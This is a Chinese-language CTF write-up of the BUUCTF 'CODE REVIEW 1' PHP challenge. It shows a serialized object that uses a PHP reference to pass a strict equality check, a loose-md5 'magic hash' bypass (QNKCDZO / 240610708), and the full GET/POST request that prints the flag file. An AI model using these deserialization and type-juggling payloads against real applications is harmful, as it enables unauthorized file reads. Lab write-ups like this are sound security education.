BUU CODE REVIEW 1 1
開啟例項發現php程式碼,程式碼審計一波
看到unserialize()
,初步判斷這題存在php反序列化
分析程式碼:
- 需要GET傳參傳入pleaseget=1
- 需要POST傳參傳入pleasepost=2
- 需要POST傳入md51和md52,使得md51的md5加密後的MD5值弱相等,引數值不相等
- 需要POST傳入obj,用來反序列化
根據程式碼構建payload:
首先是序列化的繞過,由於BUU的類裡存在correct
和input
變數,這裡需要使得correct和input絕對相等才能echo出flag,由於correct的值採用了base64_encode(uniqid())方法去賦,所以存在不確定性,無法與構造的input進行比對;這邊考慮採用指標指向使其記憶體相等的方法:
<?php
class BUU
{
public $correct = "";
public $input = "";
public function __destruct()
{
try {
$this->correct = base64_encode(uniqid());
if ($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}
$fun = new BUU();
$fun->input = &$fun->correct; // 設定input的值為指標correct的值
$res = serialize(@$fun);
echo $res;
貼一張指標賦值的解釋
輸出序列化字串
O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
接下來是md5的驗證繞過
貼上一組可碰撞繞過的引數值
- QNKCDZO
- 240610708
- s878926199a
- s155964671a
- s214587387a
- s214587387a
構造最終的payload
GET:
?pleaseget=1
POST:
pleasepost=2&md51=QNKCDZO&md52=240610708&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
成功拿到flag
flag{9fd0b243-22c8-4817-ab5c-3ae00121e0d8}